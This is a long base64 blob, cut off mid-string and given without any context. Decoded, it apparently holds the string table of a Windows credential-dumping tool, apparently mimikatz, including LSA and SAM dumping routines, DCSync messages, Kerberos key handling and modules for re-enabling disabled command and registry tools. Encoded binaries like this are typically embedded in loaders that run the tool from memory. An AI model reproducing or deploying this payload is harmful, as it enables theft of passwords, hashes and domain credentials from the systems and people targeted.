QUpRQXdBRGdBZUFBS0FBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR3dBY3dCaEFHUUFkUUJ0QUhBQVh3QnNBSE1BWVFBZ0FEc0FJQUJUQUdFQWJRQkRBRzhBYmdCdUFHVUFZd0IwQUNBQUpRQXdBRGdBZUFBS0FBQUFVd0JoQUcwQVV3QnpBQUFBQUFBQUFBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCc0FITUFZUUJrQUhVQWJRQndBRjhBYkFCekFHRUFYd0JuQUdVQWRBQklBR0VBYmdCa0FHd0FaUUFnQURzQUlBQlBBSEFBWlFCdUFGQUFjZ0J2QUdNQVpRQnpBSE1BSUFBb0FEQUFlQUFsQURBQU9BQjRBQ2tBQ2dBQUFBQUFBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHd0Fjd0JoQUdRQWRRQnRBSEFBWHdCc0FITUFZUUJmQUdjQVpRQjBBRWdBWVFCdUFHUUFiQUJsQUNBQU93QWdBR3NBZFFCc0FHd0FYd0J0QUY4QWN3QmxBSElBZGdCcEFHTUFaUUJmQUdjQVpRQjBBRlVBYmdCcEFIRUFkUUJsQUVZQWJ3QnlBRTRBWVFCdEFHVUFJQUFvQURBQWVBQWxBREFBT0FCNEFDa0FDZ0FBQUFBQUNnQlNBRWtBUkFBZ0FDQUFPZ0FnQUNVQU1BQTRBSGdBSUFBb0FDVUFkUUFwQUFvQVZRQnpBR1VBY2dBZ0FEb0FJQUFsQUhjQVdnQUtBQUFBQUFBQUFFd0FUUUFnQUNBQUlBQTZBQ0FBQUFBS0FFNEFWQUJNQUUwQUlBQTZBQ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFiQUJ6QUdFQVpBQjFBRzBBY0FCZkFHd0Fjd0JoQUY4QWRRQnpBR1VBY2dBZ0FEc0FJQUJUQUdFQWJRQlJBSFVBWlFCeUFIa0FTUUJ1QUdZQWJ3QnlBRzBBWVFCMEFHa0Fid0J1QUZVQWN3QmxBSElBSUFBbEFEQUFPQUI0QUFvQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JzQUhNQVlRQmtBSFVBYlFCd0FGOEFiQUJ6QUdFQVh3QjFBSE1BWlFCeUFDQUFPd0FnQUZNQVlRQnRBRThBY0FCbEFHNEFWUUJ6QUdVQWNnQWdBQ1VBTUFBNEFIZ0FDZ0FBQUFBQUFBQlFBSElBYVFCdEFHRUFjZ0I1QUFBQVF3Qk1BRVVBUVFCU0FGUUFSUUJZQUZRQUFBQUFBQUFBVndCRUFHa0Fad0JsQUhNQWRBQUFBRXNBWlFCeUFHSUFaUUJ5QUc4QWN3QUFBQUFBQUFBQUFFc0FaUUJ5QUdJQVpRQnlBRzhBY3dBdEFFNEFaUUIzQUdVQWNnQXRBRXNBWlFCNUFITUFBQUFLQUNBQUtnQWdBQ1VBY3dBS0FBQUFJQUFnQUNBQUlBQk1BRTBBSUFBZ0FDQUFPZ0FnQUFBQUNnQWdBQ0FBSUFBZ0FFNEFWQUJNQUUwQUlBQTZBQ0FBQUFBQUFBQUFBQUFnQUNBQUlBQWdBQ1VBTGdBcUFITUFDZ0FBQUFBQUFBQWdBQ0FBSUFBZ0FDVUFNQUF5QUhVQUlBQWdBQUFBQUFBZ0FDQUFJQUFnQUVRQVpRQm1BR0VBZFFCc0FIUUFJQUJUQUdFQWJBQjBBQ0FBT2dBZ0FDVUFMZ0FxQUhNQUNnQUFBQUFBQUFBQUFFTUFjZ0JsQUdRQVpRQnVBSFFBYVFCaEFHd0Fjd0FBQUU4QWJBQmtBRU1BY2dCbEFHUUFaUUJ1QUhRQWFRQmhBR3dBY3dBQUFBQUFBQUFBQUFBQUFBQWdBQ0FBSUFBZ0FFUUFaUUJtQUdFQWRRQnNBSFFBSUFCVEFHRUFiQUIwQUNBQU9nQWdBQ1VBTGdBcUFITUFDZ0FnQUNBQUlBQWdBRVFBWlFCbUFHRUFkUUJzQUhRQUlBQkpBSFFBWlFCeUFHRUFkQUJwQUc4QWJnQnpBQ0FBT2dBZ0FDVUFkUUFLQUFBQUFBQUFBQUFBVXdCbEFISUFkZ0JwQUdNQVpRQkRBSElBWlFCa0FHVUFiZ0IwQUdrQVlRQnNBSE1BQUFBQUFFOEFiQUJrQUdVQWNnQkRBSElBWlFCa0FHVUFiZ0IwQUdrQVlRQnNBSE1BQUFBQUFBQUFBQUFnQUNBQUlBQWdBQ0FBSUFBbEFITUFJQUE2QUNBQUFBQWdBQ0FBSUFBZ0FDQUFJQUFsQUhNQUlBQW9BQ1VBZFFBcEFDQUFPZ0FnQUFBQUFBQUFBQUFBVGdCUEFFNEFSUUFnQUNBQUlBQUFBRTRBVkFBMEFFOEFWd0JHQUNBQUFBQkRBRXdBUlFCQkFGSUFJQUFnQUFBQVZnQkZBRklBVXdCSkFFOEFUZ0FBQUNBQVd3QWxBSE1BWFFBZ0FDVUFkd0JhQUNBQUxRQStBQ0FBSlFCM0FGb0FDZ0FBQUFBQUFBQWdBQ0FBSUFBZ0FDb0FJQUFBQUFBQWRRQnVBR3NBYmdCdkFIY0FiZ0EvQUFBQUFBQUFBQUFBSUFBdEFDQUFKUUJ6QUNBQUxRQWdBQUFBQUFBQUFBQUFMUUFnQUNVQWRRQWdBQzBBSUFBQUFHd0Fjd0JoQUdRQVlnQXVBR1FBYkFCc0FBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBYkFCekFHRUFaQUIxQUcwQWNBQmZBSFFBY2dCMUFITUFkQUFnQURzQUlBQnJBSFVBYkFCc0FGOEFiUUJmQUhBQVlRQjBBR01BYUFBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBS1FBS0FBQUFBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHd0Fjd0JoQUdRQWRRQnRBSEFBWHdCMEFISUFkUUJ6QUhRQUlBQTdBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QndBSElBYndCakFHVUFjd0J6QUY4QVp3QmxBSFFBVmdCbEFISUFlUUJDQUdFQWN3QnBBR01BVFFCdkFHUUFkUUJzQUdVQVNRQnVBR1lBYndCeUFHMEFZUUIwQUdrQWJ3QnVBSE1BUmdCdkFISUFUZ0JoQUcwQVpRQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBQ2dCREFIVUFjZ0J5QUdVQWJnQjBBQ0FBWkFCdkFHMEFZUUJwQUc0QU9nQWdBQ1VBZHdCYUFDQUFLQUFsQUhjQVdnQUFBQUFBQUFBS0FFUUFid0J0QUdFQWFRQnVBRG9BSUFBbEFIY0FXZ0FnQUNnQUpRQjNBRm9BQUFBQUFBQUFJQUFnQUVrQWJnQWdBQUFBQUFBQUFDQUFUd0IxQUhRQUlBQUFBQUFBQUFBZ0FFa0FiZ0F0QURFQUFBQUFBQUFBVHdCMUFIUUFMUUF4QUFBQUFBQUFBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QnNBSE1BWVFCa0FIVUFiUUJ3QUY4QWRBQnlBSFVBY3dCMEFDQUFPd0FnQUV3QWN3QmhBRkVBZFFCbEFISUFlUUJVQUhJQWRRQnpBSFFBWlFCa0FFUUFid0J0QUdFQWFRQnVBRWtBYmdCbUFHOEFRZ0I1QUU0QVlRQnRBR1VBSUFBbEFEQUFPQUI0QUFvQUFBQUFBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QnNBSE1BWVFCa0FIVUFiUUJ3QUY4QWRBQnlBSFVBY3dCMEFDQUFPd0FnQUV3QWN3QmhBRVVBYmdCMUFHMEFaUUJ5QUdFQWRBQmxBRlFBY2dCMUFITUFkQUJsQUdRQVJBQnZBRzBBWVFCcEFHNEFjd0JGQUhnQUlBQWxBREFBT0FCNEFBb0FBQUFnQUNBQUtnQWdBRklBVXdCQkFDQUFhd0JsQUhrQUNnQUFBQUFBQUFBQUFHNEFkQUJrQUhNQUFBQUFBQUFBQUFBSkFGQUFSZ0JZQUNBQVl3QnZBRzRBZEFCaEFHa0FiZ0JsQUhJQUlBQWdBRG9BSUFBbEFITUFJQUF0QUNBQUp3QWxBSE1BSndBS0FBQUFBQUFBQUFBQUlBQWdBQ29BSUFCTUFHVUFad0JoQUdNQWVRQWdBR3NBWlFCNUFBb0FBQUJyQUdVQWVRQUFBR3dBWlFCbkFHRUFZd0I1QUFBQUFBQUFBQUFBQUFBQUFDQUFJQUFxQUNBQVZRQnVBR3NBYmdCdkFIY0FiZ0FnQUdzQVpRQjVBQ0FBS0FCekFHVUFaUUJ1QUNBQVlRQnpBQ0FBSlFBd0FEZ0FlQUFwQUFvQUFBQUpBRVVBZUFCd0FHOEFjZ0IwQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQURvQUlBQWxBSE1BSUFBdEFDQUFKd0FsQUhNQUp3QUtBQUFBQUFBQUFBQUFSd0FrQUVJQVF3QkxBRlVBVUFCTEFFVUFXUUJmQUFBQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUd3QWN3QmhBR1FBZFFCdEFIQUFYd0JuQUdVQWRBQkxBR1VBZVFCR0FISUFid0J0QUVjQVZRQkpBRVFBSUFBN0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCc0FITUFZUUJrQUhVQWJRQndBRjhBVEFCekFHRUFVZ0JsQUhRQWNnQnBBR1VBZGdCbEFGQUFjZ0JwQUhZQVlRQjBBR1VBUkFCaEFIUUFZUUE2QUNBQU1BQjRBQ1VBTUFBNEFIZ0FDZ0FBQUFBQUFBQUFBR2NBZFFCcEFHUUFBQUFBQUFBQUFBQWdBSE1BWlFCbEFHMEFjd0FnQUhRQWJ3QWdBR0lBWlFBZ0FHRUFJQUIyQUdFQWJBQnBBR1FBSUFCSEFGVUFTUUJFQUFvQUFBQUFBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QnNBSE1BWVFCa0FIVUFiUUJ3QUY4QVlnQnJBR1VBZVFBZ0FEc0FJQUJKQUc0QWRnQmhBR3dBYVFCa0FHVUFJQUJIQUZVQVNRQkVBQ0FBS0FBd0FIZ0FKUUF3QURnQWVBQXBBQ0FBT3dBZ0FDVUFjd0FLQUFBQUFBQUFBQUFBQ2dCREFIVUFjZ0J5QUdVQWJnQjBBQ0FBY0FCeUFHVUFaZ0JsQUhJQVpRQmtBQ0FBYXdCbEFIa0FPZ0FnQUNBQUlBQWdBQ0FBSUFBZ0FBQUFBQUFBQUVjQUpBQkNBRU1BU3dCVkFGQUFTd0JGQUZrQVh3QlFBRklBUlFCR0FFVUFVZ0JTQUVVQVJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCc0FITUFZUUJrQUhVQWJRQndBRjhBWWdCckFHVUFlUUFnQURzQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUd3QWN3QmhBR1FBZFFCdEFIQUFYd0JNQUhNQVlRQlNBR1VBZEFCeUFHa0FaUUIyQUdVQVVBQnlBR2tBZGdCaEFIUUFaUUJFQUdFQWRBQmhBRG9BSUFBd0FIZ0FKUUF3QURnQWVBQUtBQUFBQUFBS0FFTUFid0J0QUhBQVlRQjBBR2tBWWdCcEFHd0FhUUIwQUhrQUlBQndBSElBWlFCbUFHVUFjZ0JsQUdRQUlBQnJBR1VBZVFBNkFDQUFBQUFBQUFBQVJ3QWtBRUlBUXdCTEFGVUFVQUJMQUVVQVdRQmZBRkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFiQUJ6QUdFQVpBQjFBRzBBY0FCZkFISUFjQUJrQUdFQWRBQmhBQ0FBT3dBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBYkFCekFHRUFaQUIxQUcwQWNBQmZBRXdBY3dCaEFGSUFaUUIwQUhJQWFRQmxBSFlBWlFCUUFISUFhUUIyQUdFQWRBQmxBRVFBWVFCMEFHRUFPZ0FnQURBQWVBQWxBREFBT0FCNEFBb0FBQUFBQUFBQUFBQmJBRVFBUXdCZEFDQUFKd0FsQUhNQUp3QWdBSGNBYVFCc0FHd0FJQUJpQUdVQUlBQjBBR2dBWlFBZ0FHUUFid0J0QUdFQWFRQnVBQW9BQUFCa0FHTUFBQUFBQUFBQUFBQnJBR1FBWXdBQUFGc0FSQUJEQUYwQUlBQW5BQ1VBY3dBbkFDQUFkd0JwQUd3QWJBQWdBR0lBWlFBZ0FIUUFhQUJsQUNBQVJBQkRBQ0FBY3dCbEFISUFkZ0JsQUhJQUNnQUtBQUFBQUFBQUFGc0FSQUJEQUYwQUlBQlBBR0lBYWdCbEFHTUFkQUFnQUhjQWFRQjBBR2dBSUFCSEFGVUFTUUJFQUNBQUp3QWxBSE1BSndBS0FBb0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFGc0FSQUJEQUYwQUlBQW5BQ1VBY3dBbkFDQUFkd0JwQUd3QWJBQWdBR0lBWlFBZ0FIUUFhQUJsQUNBQWRRQnpBR1VBY2dBZ0FHRUFZd0JqQUc4QWRRQnVBSFFBQ2dBS0FBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCc0FITUFZUUJrQUhVQWJRQndBRjhBWkFCakFITUFlUUJ1QUdNQUlBQTdBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QnlBSEFBWXdCZkFHUUFjZ0J6QUhJQVh3QlFBSElBYndCakFHVUFjd0J6QUVjQVpRQjBBRTRBUXdCREFHZ0FZUUJ1QUdjQVpRQnpBRklBWlFCd0FHd0FlUUFLQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCc0FITUFZUUJrQUhVQWJRQndBRjhBWkFCakFITUFlUUJ1QUdNQUlBQTdBQ0FBUkFCU0FGTUFSd0JsQUhRQVRnQkRBRU1BYUFCaEFHNEFad0JsQUhNQUxBQWdBR2tBYmdCMkFHRUFiQUJwQUdRQUlBQmtBSGNBVHdCMUFIUUFWZ0JsQUhJQWN3QnBBRzhBYmdBZ0FHRUFiZ0JrQUM4QWJ3QnlBQ0FBWXdCT0FIVUFiUUJQQUdJQWFnQmxBR01BZEFCekFBb0FBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR3dBY3dCaEFHUUFkUUJ0QUhBQVh3QmtBR01BY3dCNUFHNEFZd0FnQURzQUlBQkhBR1VBZEFCT0FFTUFRd0JvQUdFQWJnQm5BR1VBY3dBNkFDQUFNQUI0QUNVQU1BQTRBSGdBSUFBb0FDVUFkUUFwQUFvQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBYkFCekFHRUFaQUIxQUcwQWNBQmZBR1FBWXdCekFIa0FiZ0JqQUNBQU93QWdBRklBVUFCREFDQUFSUUI0QUdNQVpRQndBSFFBYVFCdkFHNEFJQUF3QUhnQUpRQXdBRGdBZUFBZ0FDZ0FKUUIxQUNrQUNnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCc0FITUFZUUJrQUhVQWJRQndBRjhBWkFCakFITUFlUUJ1QUdNQUlBQTdBQ0FBVFFCcEFITUFjd0JwQUc0QVp3QWdBSFVBY3dCbEFISUFJQUJ2QUhJQUlBQm5BSFVBYVFCa0FDQUFZUUJ5QUdjQWRRQnRBR1VBYmdCMEFBb0FBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHd0Fjd0JoQUdRQWRRQnRBSEFBWHdCa0FHTUFjd0I1QUc0QVl3QWdBRHNBSUFCRUFHOEFiUUJoQUdrQWJnQWdBRU1BYndCdUFIUUFjZ0J2QUd3QWJBQmxBSElBSUFCdUFHOEFkQUFnQUhBQWNnQmxBSE1BWlFCdUFIUUFDZ0FBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFiQUJ6QUdFQVpBQjFBRzBBY0FCZkFHUUFZd0J6QUhrQWJnQmpBQ0FBT3dBZ0FFUUFid0J0QUdFQWFRQnVBQ0FBYmdCdkFIUUFJQUJ3QUhJQVpRQnpBR1VBYmdCMEFDd0FJQUJ2QUhJQUlBQmtBRzhBWlFCekFHNEFKd0IwQUNBQWJBQnZBRzhBYXdBZ0FHd0FhUUJyQUdVQUlBQmhBQ0FBUmdCUkFFUUFUZ0FLQUFBQUFBQWxBSE1BSlFBdUFDb0Fjd0FsQUhNQUFBQUFBQUFBQUFBZ0FDQUFJQUFnQUNVQWN3QXRBQ1VBTWdCMUFEb0FJQUFBQUFBQUFBQUFBQ0FBSUFCSUFHRUFjd0JvQUNBQUpRQnpBRG9BSUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWJBQnpBR0VBWkFCMUFHMEFjQUJmQUdRQVl3QnpBSGtBYmdCakFGOEFaQUJsQUdNQWNnQjVBSEFBZEFBZ0FEc0FJQUJTQUhRQWJBQkVBR1VBWXdCeUFIa0FjQUIwQUVRQVJRQlRBRElBWWdCc0FHOEFZd0JyQUhNQU1RQkVBRmNBVHdCU0FFUUFBQUFBQUFBQUFBQlBBR0lBYWdCbEFHTUFkQUFnQUZJQVJBQk9BQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBNkFDQUFBQUJUQUVNQVVnQkpBRkFBVkFBQUFBQUFRUUJEQUVNQVR3QlZBRTRBVkFCRUFFa0FVd0JCQUVJQVRBQkZBQUFBQUFBd0FIZ0FOQUFnQUQ4QUFBQUFBQUFBU0FCUEFFMEFSUUJFQUVrQVVnQmZBRklBUlFCUkFGVUFTUUJTQUVVQVJBQUFBQUFBQUFBQUFFd0FUd0JEQUVzQVR3QlZBRlFBQUFCUUFFRUFVd0JUQUZjQVJBQmZBRTRBVHdCVUFGSUFSUUJSQUVRQUFBQUFBRkFBUVFCVEFGTUFWd0JFQUY4QVF3QkJBRTRBVkFCZkFFTUFTQUJCQUU0QVJ3QkZBQUFBQUFBQUFBQUFBQUFBQUVVQVRnQkRBRklBV1FCUUFGUUFSUUJFQUY4QVZBQkZBRmdBVkFCZkFGQUFRUUJUQUZNQVZ3QlBBRklBUkFCZkFFRUFUQUJNQUU4QVZ3QkZBRVFBQUFCVUFFVUFUUUJRQUY4QVJBQlZBRkFBVEFCSkFFTUFRUUJVQUVVQVh3QkJBRU1BUXdCUEFGVUFUZ0JVQUFBQUFBQk9BRThBVWdCTkFFRUFUQUJmQUVFQVF3QkRBRThBVlFCT0FGUUFBQUFBQURBQWVBQTBBREFBTUFBZ0FEOEFBQUJKQUU0QVZBQkZBRklBUkFCUEFFMEFRUUJKQUU0QVh3QlVBRklBVlFCVEFGUUFYd0JCQUVNQVF3QlBBRlVBVGdCVUFBQUFBQUFBQUZjQVR3QlNBRXNBVXdCVUFFRUFWQUJKQUU4QVRnQmZBRlFBVWdCVkFGTUFWQUJmQUVFQVF3QkRBRThBVlFCT0FGUUFBQUFBQUFBQVV3QkZBRklBVmdCRkFGSUFYd0JVQUZJQVZRQlRBRlFBWHdCQkFFTUFRd0JQQUZVQVRnQlVBQUFBQUFBQUFBQUFNQUI0QURRQU1BQXdBREFBSUFBL0FBQUFBQUFBQUFBQU1BQjRBRGdBTUFBd0FEQUFJQUEvQUFBQUFBQUFBQUFBUkFCUEFFNEFWQUJmQUVVQVdBQlFBRWtBVWdCRkFGOEFVQUJCQUZNQVV3QlhBRVFBQUFBQUFFMEFUZ0JUQUY4QVRBQlBBRWNBVHdCT0FGOEFRUUJEQUVNQVR3QlZBRTRBVkFBQUFBQUFBQUJUQUUwQVFRQlNBRlFBUXdCQkFGSUFSQUJmQUZJQVJRQlJBRlVBU1FCU0FFVUFSQUFBQUFBQVZBQlNBRlVBVXdCVUFFVUFSQUJmQUVZQVR3QlNBRjhBUkFCRkFFd0FSUUJIQUVFQVZBQkpBRThBVGdBQUFBQUFUZ0JQQUZRQVh3QkVBRVVBVEFCRkFFY0FRUUJVQUVVQVJBQUFBQUFBQUFCVkFGTUFSUUJmQUVRQVJRQlRBRjhBU3dCRkFGa0FYd0JQQUU0QVRBQlpBQUFBQUFBQUFBQUFSQUJQQUU0QVZBQmZBRklBUlFCUkFGVUFTUUJTQUVVQVh3QlFBRklBUlFCQkFGVUFWQUJJQUFBQUFBQUFBQUFBVUFCQkFGTUFVd0JYQUU4QVVnQkVBRjhBUlFCWUFGQUFTUUJTQUVVQVJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVZBQlNBRlVBVXdCVUFFVUFSQUJmQUZRQVR3QmZBRUVBVlFCVUFFZ0FSUUJPQUZRQVNRQkRBRUVBVkFCRkFGOEFSZ0JQQUZJQVh3QkVBRVVBVEFCRkFFY0FRUUJVQUVrQVR3Qk9BQUFBQUFCT0FFOEFYd0JCQUZVQVZBQklBRjhBUkFCQkFGUUFRUUJmQUZJQVJRQlJBRlVBU1FCU0FFVUFSQUFBQUFBQUFBQlFBRUVBVWdCVUFFa0FRUUJNQUY4QVV3QkZBRU1BVWdCRkFGUUFVd0JmQUVFQVF3QkRBRThBVlFCT0FGUUFBQUJWQUZNQVJRQmZBRUVBUlFCVEFGOEFTd0JGQUZrQVV3QUFBQUFBQUFBQUFEQUFlQUF4QURBQU1BQXdBREFBTUFBd0FEQUFJQUEvQUFBQUFBQUFBQUFBTUFCNEFESUFNQUF3QURBQU1BQXdBREFBTUFBZ0FEOEFBQUFBQUFBQUFBQXdBSGdBTkFBd0FEQUFNQUF3QURBQU1BQXdBQ0FBUHdBQUFBQUFBQUFBQURBQWVBQTRBREFBTUFBd0FEQUFNQUF3QURBQUlBQS9BQUFBQUFBQUFBQUFSQUJQQUUwQVFRQkpBRTRBWHdCUEFFSUFTZ0JGQUVNQVZBQUFBQUFBQUFCSEFGSUFUd0JWQUZBQVh3QlBBRUlBU2dCRkFFTUFWQUFBQUFBQUFBQUFBRTRBVHdCT0FGOEFVd0JGQUVNQVZRQlNBRWtBVkFCWkFGOEFSd0JTQUU4QVZRQlFBRjhBVHdCQ0FFb0FSUUJEQUZRQUFBQUFBQUFBUVFCTUFFa0FRUUJUQUY4QVR3QkNBRW9BUlFCREFGUUFBQUFBQUFBQUFBQk9BRThBVGdCZkFGTUFSUUJEQUZVQVVnQkpBRlFBV1FCZkFFRUFUQUJKQUVFQVV3QmZBRThBUWdCS0FFVUFRd0JVQUFBQUFBQUFBRlVBVXdCRkFGSUFYd0JQQUVJQVNnQkZBRU1BVkFBQUFFMEFRUUJEQUVnQVNRQk9BRVVBWHdCQkFFTUFRd0JQQUZVQVRnQlVBQUFBVkFCU0FGVUFVd0JVQUY4QVFRQkRBRU1BVHdCVkFFNEFWQUFBQUFBQUFBQkJBRkFBVUFCZkFFSUFRUUJUQUVrQVF3QmZBRWNBVWdCUEFGVUFVQUFBQUVFQVVBQlFBRjhBVVFCVkFFVUFVZ0JaQUY4QVJ3QlNBRThBVlFCUUFBQUFLZ0FxQUNBQVV3QkJBRTBBSUFCQkFFTUFRd0JQQUZVQVRnQlVBQ0FBS2dBcUFBb0FDZ0FBQUZNQVFRQk5BQ0FBVlFCekFHVUFjZ0J1QUdFQWJRQmxBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBRG9BSUFBQUFGVUFjd0JsQUhJQUlBQlFBSElBYVFCdUFHTUFhUUJ3QUdFQWJBQWdBRTRBWVFCdEFHVUFJQUFnQURvQUlBQUFBRUVBWXdCakFHOEFkUUJ1QUhRQUlBQlVBSGtBY0FCbEFDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFsQURBQU9BQjRBQ0FBS0FBZ0FDVUFjd0FnQUNrQUNnQUFBRlVBY3dCbEFISUFJQUJCQUdNQVl3QnZBSFVBYmdCMEFDQUFRd0J2QUc0QWRBQnlBRzhBYkFBZ0FEb0FJQUFsQURBQU9BQjRBQ0FBS0FBZ0FBQUFBQUJCQUdNQVl3QnZBSFVBYmdCMEFDQUFaUUI0QUhBQWFRQnlBR0VBZEFCcEFHOEFiZ0FnQUNBQUlBQTZBQ0FBQUFCUUFHRUFjd0J6QUhjQWJ3QnlBR1FBSUFCc0FHRUFjd0IwQUNBQVl3Qm9BR0VBYmdCbkFHVUFJQUE2QUNBQUFBQlBBR0lBYWdCbEFHTUFkQUFnQUZNQVpRQmpBSFVBY2dCcEFIUUFlUUFnQUVrQVJBQWdBQ0FBSUFBNkFDQUFBQUJQQUdJQWFnQmxBR01BZEFBZ0FGSUFaUUJzQUdFQWRBQnBBSFlBWlFBZ0FFa0FSQUFnQUNBQUlBQTZBQ0FBSlFCMUFBb0FBQUFBQUFvQVF3QnlBR1VBWkFCbEFHNEFkQUJwQUdFQWJBQnpBRG9BQ2dBQUFBQUFiZ0IwQUd3QWJRQUFBQUFBQUFBQUFHd0FiUUFnQUNBQUFBQUFBQUFBQUFBS0FGTUFkUUJ3QUhBQWJBQmxBRzBBWlFCdUFIUUFZUUJzQUNBQVF3QnlBR1VBWkFCbEFHNEFkQUJwQUdFQWJBQnpBRG9BQ2dBQUFDb0FJQUFsQUhjQVdnQWdBQ29BQ2dBQUFBQUFKVEF5ZUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFxQUNvQUlBQlVBRklBVlFCVEFGUUFSUUJFQUNBQVJBQlBBRTBBUVFCSkFFNEFJQUF0QUNBQVFRQnVBSFFBYVFCekFHOEFZd0JwQUdFQWJBQWdBQ29BS2dBS0FBb0FBQUJRQUdFQWNnQjBBRzRBWlFCeUFDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQTZBQ0FBSlFCM0FGb0FDZ0FBQUdNQWJRQmtBQUFBQUFBQUFBQUFBQUJEQUc4QWJRQnRBR0VBYmdCa0FDQUFVQUJ5QUc4QWJRQndBSFFBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBb0FIY0FhUUIwQUdnQWJ3QjFBSFFBSUFCRUFHa0Fjd0JoQUdJQWJBQmxBRU1BVFFCRUFDa0FBQUFBQUFBQUFBQnlBR1VBWndCbEFHUUFhUUIwQUFBQVVnQmxBR2NBYVFCekFIUUFjZ0I1QUNBQVJRQmtBR2tBZEFCdkFISUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFLQUIzQUdrQWRBQm9BRzhBZFFCMEFDQUFSQUJwQUhNQVlRQmlBR3dBWlFCU0FHVUFad0JwQUhNQWRBQnlBSGtBVkFCdkFHOEFiQUJ6QUNrQUFBQUFBSFFBWVFCekFHc0FiUUJuQUhJQUFBQlVBR0VBY3dCckFDQUFUUUJoQUc0QVlRQm5BR1VBY2dBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFvQUhjQWFRQjBBR2dBYndCMUFIUUFJQUJFQUdrQWN3QmhBR0lBYkFCbEFGUUFZUUJ6QUdzQVRRQm5BSElBS1FBQUFBQUFBQUFBQUc0QVl3QnlBRzhBZFFCMEFHVUFiUUJ2QUc0QUFBQUFBRW9BZFFCdUFHa0FjQUJsQUhJQUlBQk9BR1VBZEFCM0FHOEFjZ0JyQUNBQVF3QnZBRzRBYmdCbEFHTUFkQUFnQUNnQWR3QnBBSFFBYUFCdkFIVUFkQUFnQUhJQWJ3QjFBSFFBWlFBZ0FHMEFid0J1QUdrQWRBQnZBSElBYVFCdUFHY0FLUUFBQUFBQVpBQmxBSFFBYndCMUFISUFjd0FBQUFBQUFBQUFBQUFBV3dCbEFIZ0FjQUJsQUhJQWFRQnRBR1VBYmdCMEFHRUFiQUJkQUNBQVZBQnlBSGtBSUFCMEFHOEFJQUJsQUc0QWRRQnRBR1VBY2dCaEFIUUFaUUFnQUdFQWJBQnNBQ0FBYlFCdkFHUUFkUUJzQUdVQWN3QWdBSGNBYVFCMEFHZ0FJQUJFQUdVQWRBQnZBSFVBY2dCekFDMEFiQUJwQUdzQVpRQWdBR2dBYndCdkFHc0Fjd0FBQUhjQWFRQm1BR2tBQUFBQUFBQUFBQUJoQUdRQVpBQnpBR2tBWkFBQUFBQUFiUUJsQUcwQWN3QnpBSEFBQUFBQUFITUFhd0JsQUd3QVpRQjBBRzhBYmdBQUFBQUFBQUFBQUcwQWFRQnpBR01BQUFBQUFBQUFBQUJOQUdrQWN3QmpBR1VBYkFCc0FHRUFiZ0JsQUc4QWRRQnpBQ0FBYlFCdkFHUUFkUUJzQUdVQUFBQUFBQUFBQUFCM0FHd0FZUUJ1QUdFQWNBQnBBQUFBVjJ4aGJrOXdaVzVJWVc1a2JHVUFBRmRzWVc1RGJHOXpaVWhoYm1Sc1pRQlhiR0Z1Ulc1MWJVbHVkR1Z5Wm1GalpYTUFBQUFBQUFCWGJHRnVSMlYwVUhKdlptbHNaVXhwYzNRQUFBQUFBQUJYYkdGdVIyVjBVSEp2Wm1sc1pRQUFWMnhoYmtaeV